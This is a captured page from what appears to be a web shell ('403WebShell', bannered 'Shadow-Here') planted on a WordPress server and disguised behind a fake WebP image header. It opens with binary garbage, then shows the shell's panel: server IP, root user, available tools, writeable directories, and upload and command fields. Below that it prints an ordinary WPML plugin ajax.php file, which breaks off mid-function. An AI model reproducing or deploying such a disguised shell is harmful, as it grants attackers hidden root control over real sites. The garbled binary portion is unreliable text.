RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/reppro/wp-content/plugins/sitepress-multilingual-cms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/reppro/wp-content/plugins/sitepress-multilingual-cms/ajax.php
<?php

use WPML\UrlHandling\WPLoginUrlConverter;
use WPML\AdminLanguageSwitcher\AdminLanguageSwitcher;

/**
 * @package wpml-core
 * @used-by SitePress::ajax_setup
 */
global $wpdb, $sitepress, $sitepress_settings, $wp_rewrite;
/** @var SitePress $this */

$request = filter_input( INPUT_POST, 'icl_ajx_action' );
$request = $request ? $request : filter_input( INPUT_GET, 'icl_ajx_action' );
switch ( $request ) {
	case 'health_check':
		icl_set_setting( 'ajx_health_checked', true, true );
		exit;
	case 'get_browser_language':
		$http_accept_language            = filter_var( $_SERVER['HTTP_ACCEPT_LANGUAGE'], FILTER_SANITIZE_SPECIAL_CHARS );
		$accepted_languages              = explode( ';', $http_accept_language );
		$default_accepted_language       = $accepted_languages[0];
		$default_accepted_language_codes = explode( ',', $default_accepted_language );
		wp_send_json_success( $default_accepted_language_codes );
}

$request = wpml_get_authenticated_action();

function user_is_admin_or_exit() {
	if ( ! WPML\LIB\WP\User::currentUserIsAdmin() ) {
		wp_die( 'Unauthorized', 403 );
	}
}

function user_is_manager_or_exit() {
	if ( ! WPML\LIB\WP\User::currentUserIsTranslationManagerOrHigher() ) {
		wp_die( 'Unauthorized', 403 );
	}
}

function user_is_translator_or_exit() {
	if ( ! WPML\LIB\WP\User::currentUserIsTranslatorOrHigher() ) {
		wp_die( 'Unauthorized', 403 );
	}
}

function user_can_edit_post_or_exit() {
	if ( ! current_user_can( 'edit_posts' ) ) {
		wp_die( 'Unauthorized', 403 );
	}
}


$iclsettings      = $this->get_settings();
$default_language = $this->get_default_language();

switch ( $request ) {
	case 'icl_admin_language_options':
		user_is_admin_or_exit();

		$iclsettings['admin_default_language'] = $_POST['icl_admin_default_language'];
		$this->save_settings( $iclsettings );
		echo 1;
		break;
	case 'icl_page_sync_options':
		user_is_admin_or_exit();

		$iclsettings['sync_page_ordering']          = @intval( $_POST['icl_sync_page_ordering'] );
		$iclsettings['sync_page_parent']            = @intval( $_POST['icl_sync_page_parent'] );
		$iclsettings['sync_page_template']          = @intval( $_POST['icl_sync_page_template'] );
		$iclsettings['sync_comment_status']         = @intval( $_POST['icl_sync_comment_status'] );
		$iclsettings['sync_ping_status']            = @intval( $_POST['icl_sync_ping_status'] );
		$iclsettings['sync_sticky_flag']            = @intval( $_POST['icl_sync_sticky_flag'] );
		$iclsettings['sync_password']               = @intval( $_POST['icl_sync_password'] );
		$iclsettings['sync_private_flag']           = @intval( $_POST['icl_sync_private_flag'] );
		$iclsettings['sync_post_format']            = @intval( $_POST['icl_sync_post_format'] );
		$iclsettings['sync_delete']                 = @intval( $_POST['icl_sync_delete'] );
		$iclsettings['sync_delete_tax']             = @intval( $_POST['icl_sync_delete_tax'] );
		$iclsettings['sync_post_taxonomies']        = @intval( $_POST['icl_sync_post_taxonomies'] );
		$iclsettings['sync_post_date']              = @intval( $_POST['icl_sync_post_date'] );
		$iclsettings['sync_comments_on_duplicates'] = @intval( $_POST['icl_sync_comments_on_duplicates'] );
		$this->save_settings( $iclsettings );

		$wpml_page_builder_options = new WPML_Page_Builder_Settings();

		if ( array_key_exists( 'wpml_pb_translate_raw_html', $_POST ) ) {
			$wpml_page_builder_options->set_raw_html_translatable(
				filter_var( $_POST['wpml_pb_translate_raw_html'], FILTER_VALIDATE_INT )
			);
		} else {
			$wpml_page_builder_options->set_raw_html_translatable( 0 );
		}

		$wpml_page_builder_options->save();

		echo 1;
		break;
	case 'icl_login_page_translation':
		user_is_admin_or_exit();

		$translateLoginPageIsEnabled = get_option( WPLoginUrlConverter::SETTINGS_KEY );
		if ( ! $translateLoginPageIsEnabled && filter_input( INPUT_POST, 'login_page_translation', FILTER_VALIDATE_BOOLEAN ) ) {
			AdminLanguageSwitcher::enable();
		}

		WPLoginUrlConverter::saveState(
			(bool) filter_input( INPUT_POST, 'login_page_translation', FILTER_VALIDATE_INT )
		);

		AdminLanguageSwitcher::saveState(
			(bool) filter_input( INPUT_POST, 'show_login_page_language_switcher', FILTER_VALIDATE_INT )
		);

		echo 1;
		break;
	case 'language_domains':
		user_is_admin_or_exit();

		$language_domains_helper = new WPML_Lang_Domains_Box( $this );
		echo $language_domains_helper->render();
		break;
	case 'dismiss_help':
		user_is_admin_or_exit();

		icl_set_setting( 'dont_show_help_admin_notice', true );
		icl_save_settings();
		break;
	case 'dismiss_upgrade_notice':
		user_is_admin_or_exit();

		icl_set_setting( 'hide_upgrade_notice', implode( '.', array_slice( explode( '.', ICL_SITEPRESS_VERSION ), 0, 3 ) ) );
		icl_save_settings();
		break;
	case 'toggle_show_translations':
		user_is_admin_or_exit();

		icl_set_setting( 'show_translations_flag', intval( ! wpml_get_setting( 'show_translations_flag', true ) ) );
		icl_save_settings();
		break;
	case 'icl_promote_form':
		user_is_admin_or_exit();

		icl_set_setting( 'promote_wpml', @intval( $_POST['icl_promote'] ) );
		icl_save_settings();
		echo '1|';
		break;
	case 'icl_st_track_strings':
		user_is_manager_or_exit();

		foreach ( $_POST['icl_st'] as $k => $v ) {
			$iclsettings['st'][ $k ] = $v;
		}
		if ( array_key_exists( 'st', $iclsettings ) && array_key_exists( 'hl_color', $iclsettings['st'] ) && ! wpml_is_valid_hex_color( $iclsettings['st']['hl_color'] ) ) {
			$iclsettings['st']['hl_color'] = '#FFFF00';
		}
		if ( isset( $iclsettings ) ) {
			$this->save_settings( $iclsettings );
		}

		do_action( 'wpml_st_strings_tracking_option_saved', (int) $_POST['icl_st']['track_strings'] );

		echo 1;
		break;
	case 'icl_st_more_options':
		user_is_manager_or_exit();

		$iclsettings['st']['translated-users'] = ! empty( $_POST['users'] ) ? array_keys( $_POST['users'] ) : [];
		$this->save_settings( $iclsettings );
		if ( ! empty( $iclsettings['st']['translated-users'] ) ) {
			$sitepress_settings['st']['translated-users'] = $iclsettings['st']['translated-users'];
			icl_st_register_user_strings_all();
		}
		echo 1;
		break;
	case 'icl_hide_languages':
		user_is_admin_or_exit();

		$iclsettings['hidden_languages'] = empty( $_POST['icl_hidden_languages'] ) ? [] : $_POST['icl_hidden_languages'];
		$this->set_setting( 'hidden_languages', [] ); // reset current value
		$active_languages = $this->get_active_languages();
		if ( ! empty( $iclsettings['hidden_languages'] ) ) {
			if ( 1 == count( $iclsettings['hidden_languages'] ) ) {
				$out = sprintf(
					__( '%s is currently hidden to visitors.', 'sitepress' ),
					$active_languages[ $iclsettings['hidden_languages'][0] ]['display_name']
				);
			} else {
				foreach ( $iclsettings['hidden_languages'] as $l ) {
					$_hlngs[] = $active_languages[ $l ]['display_name'];
				}
				$hlangs = join( ', ', $_hlngs );
				$out    = sprintf( __( '%s are currently hidden to visitors.', 'sitepress' ), $hlangs );
			}
			$out .= ' ' . sprintf(
				__( 'You can enable its/their display for yourself, in your <a href="%s">profile page</a>.', 'sitepress' ),
				'profile.php#wpml'
			);
		} else {
			$out = __( 'All languages are currently displayed.', 'sitepress' );
		}
		$this->save_settings( $iclsettings );
		echo '1|' . $out;
		break;
	case 'icl_adjust_ids':
		user_is_admin_or_exit();

		$iclsettings['auto_adjust_ids'] = @intval( $_POST['icl_adjust_ids'] );
		$this->save_settings( $iclsettings );
		echo '1|';
		break;
	case 'icl_automatic_redirect':
		user_is_admin_or_exit();

		if ( ! isset( $_POST['icl_remember_language'] ) || $_POST['icl_remember_language'] < 24 ) {
			$_POST['icl_remember_language'] = 24;
		}
		$iclsettings['automatic_redirect'] = @intval( $_POST['icl_automatic_redirect'] );
		$iclsettings['remember_language']  = @intval( $_POST['icl_remember_language'] );
		$this->save_settings( $iclsettings );
		echo '1|';
		break;
	case 'icl_troubleshooting_more_options':
		user_is_admin_or_exit();

		$iclsettings['troubleshooting_options'] = $_POST['troubleshooting_options'];
		$this->save_settings( $iclsettings );
		echo '1|';
		break;
	case 'reset_languages':
		user_is_admin_or_exit();

		$setup_instance = wpml_get_setup_instance();
		$setup_instance->reset_language_data();

		$wpml_localization = new WPML_Download_Localization( $sitepress->get_active_languages(), $sitepress->get_default_language() );
		$wpml_localization->download_language_packs();
		$wpml_languages_notices = new WPML_Languages_Notices( wpml_get_admin_notices() );
		$wpml_languages_notices->missing_languages( $wpml_localization->get_not_founds() );
		break;
	case 'icl_custom_tax_sync_options':
		user_is_manager_or_exit();

		$new_options      = ! empty( $_POST['icl_sync_tax'] ) ? $_POST['icl_sync_tax'] : [];
		$unlocked_options = ! empty( $_POST['icl_sync_tax_unlocked'] ) ? $_POST['icl_sync_tax_unlocked'] : [];
		/** @var WPML_Settings_Helper $settings_helper */
		$settings_helper = wpml_load_settings_helper();
		$settings_helper->update_taxonomy_unlocked_settings( $unlocked_options );
		$settings_helper->update_taxonomy_sync_settings( $new_options );
		echo '1|';
		break;
	case 'icl_custom_posts_sync_options':
		user_is_manager_or_exit();

		$new_options      = ! empty( $_POST['icl_sync_custom_posts'] ) ? $_POST['icl_sync_custom_posts'] : [];
		$unlocked_options = ! empty( $_POST['icl_sync_custom_posts_unlocked'] ) ? $_POST['icl_sync_custom_posts_unlocked'] : [];
		/** @var WPML_Settings_Helper $settings_helper */
		$settings_helper = wpml_load_settings_helper();
		$settings_helper->update_cpt_unlocked_settings( $unlocked_options );
		$settings_helper->update_cpt_sync_settings( $new_options );
		$customPostTypes = ( new WPML_Post_Types( $sitepress ) )->get_translatable_and_readonly();
		echo '1|';
		break;
	case 'copy_from_original':
		user_is_translator_or_exit();

		/*
		 * apply filtering as to add further elements
		 * filters will have to like as such
		 * add_filter('wpml_copy_from_original_custom_fields', 'my_copy_from_original_fields');
		 *
		 * function my_copy_from_original_fields( $elements ) {
		 *  $custom_field = 'editor1';
		 *  $elements[ 'customfields' ][ $custom_fields ] = array(
		 *    'editor_name' => 'custom_editor_1',
		 *    'editor_type' => 'editor',
		 *    'value'       => 'test'
		 *  );
		 *
		 *  $custom_field = 'editor2';
		 *  $elements[ 'customfields' ][ $custom_fields ] = array(
		 *    'editor_name' => 'textbox1',
		 *    'editor_type' => 'text',
		 *    'value'       => 'testtext'
		 *  );
		 *
		 *  return $elements;
		 * }
		 * This filter would result in custom_editor_1 being populated with the value "test"
		 * and the textfield with id #textbox1 to be populated with "testtext".
		 * editor type is always either text when populating general fields or editor when populating
		 * a wp editor. The editor id can be either judged from the arguments used in the wp_editor() call
		 * or from looking at the tinyMCE.Editors object that the custom post type's editor sends to the browser.
		 */
		$content_type = filter_input( INPUT_POST, 'content_type' );
		$excerpt_type = filter_input( INPUT_POST, 'excerpt_type' );
		$trid         = filter_input( INPUT_POST, 'trid' );
		$lang         = filter_input( INPUT_POST, 'lang' );
		echo wp_json_encode( WPML_Post_Edit_Ajax::copy_from_original_fields( $content_type, $excerpt_type, $trid, $lang ) );
		break;
	case 'save_user_preferences':
		user_is_translator_or_exit();

		$user_preferences = $this->get_user_preferences();
		$this->set_user_preferences( array_merge_recursive( $user_preferences, $_POST['user_preferences'] ) );
		$this->save_user_preferences();
		break;
	case 'wpml_cf_translation_preferences':
		user_is_manager_or_exit();

		if ( empty( $_POST[ WPML_POST_META_SETTING_INDEX_SINGULAR ] ) ) {
			echo '<span style="color:#FF0000;">'
				 . __( 'Error: No custom field', 'sitepress' ) . '</span>';
			die();
		}
		$_POST[ WPML_POST_META_SETTING_INDEX_SINGULAR ] = @strval( $_POST[ WPML_POST_META_SETTING_INDEX_SINGULAR ] );
		if ( ! isset( $_POST['translate_action'] ) ) {
			echo '<span style="color:#FF0000;">'
				 . __( 'Error: Please provide translation action', 'sitepress' ) . '</span>';
			die();
		}
		$_POST['translate_action'] = @intval( $_POST['translate_action'] );
		if ( defined( 'WPML_TM_VERSION' ) ) {
			global $iclTranslationManagement;
			if ( ! empty( $iclTranslationManagement ) ) {
				$iclTranslationManagement->settings[ WPML_POST_META_SETTING_INDEX_PLURAL ][ $_POST[ WPML_POST_META_SETTING_INDEX_SINGULAR ] ] = $_POST['translate_action'];
				$iclTranslationManagement->save_settings();
				echo '<strong><em>' . __( 'Settings updated', 'sitepress' ) . '</em></strong>';
			} else {
				echo '<span style="color:#FF0000;">'
					 . __( 'Error: WPML Translation Management plugin not initiated', 'sitepress' )
					 . '</span>';
			}
		} else {
			echo '<span style="color:#FF0000;">'
				 . __( 'Error: Please activate WPML Translation Management plugin', 'sitepress' )
				 . '</span>';
		}
		break;
	case 'icl_seo_options':
		user_is_admin_or_exit();

		$seo = $sitepress->get_setting( 'seo', [] );

		$seo['head_langs']                  = isset( $_POST['icl_seo_head_langs'] ) ? (int) $_POST['icl_seo_head_langs'] : 0;
		$seo['canonicalization_duplicates'] = isset( $_POST['icl_seo_canonicalization_duplicates'] ) ? (int) $_POST['icl_seo_canonicalization_duplicates'] : 0;
		$seo['head_langs_priority']         = isset( $_POST['wpml_seo_head_langs_priority'] ) ? (int) $_POST['wpml_seo_head_langs_priority'] : 1;

		$sitepress->set_setting( 'seo', $seo, true );
		echo '1|';
		break;
	case 'connect_translations': // This is used by the "Connect Translations" dialog.
		user_can_edit_post_or_exit();

		$new_trid      = $_POST['new_trid'];
		$post_type     = $_POST['post_type'];
		$post_id       = $_POST['post_id'];
		$set_as_source = $_POST['set_as_source'];
		$element_type  = 'post_' . $post_type;

		$language_details = $sitepress->get_element_language_details( $post_id, $element_type );

		if ( $set_as_source ) {

			$wpdb->update(
				$wpdb->prefix . 'icl_translations',
				[ 'source_language_code' => $language_details->language_code ],
				[
					'trid'         => $new_trid,
					'element_type' => $element_type,
				],
				[ '%s' ],
				[ '%d', '%s' ]
			);

			$wpdb->update(
				$wpdb->prefix . 'icl_translations',
				[
					'source_language_code' => null,
					'trid'                 => $new_trid,
				],
				[
					'element_id'   => $post_id,
					'element_type' => $element_type,
				],
				[ '%s', '%d' ],
				[ '%d', '%s' ]
			);

			do_action(
				'wpml_translation_update',
				[
					'type'         => 'update',
					'trid'         => $new_trid,
					'element_type' => $element_type,
					'context'      => 'post',
				]
			);

		} else {
			$original_element_language = $sitepress->get_default_language();
			$trid_elements             = $sitepress->get_element_translations( $new_trid, $element_type );
			if ( $trid_elements ) {
				foreach ( $trid_elements as $trid_element ) {
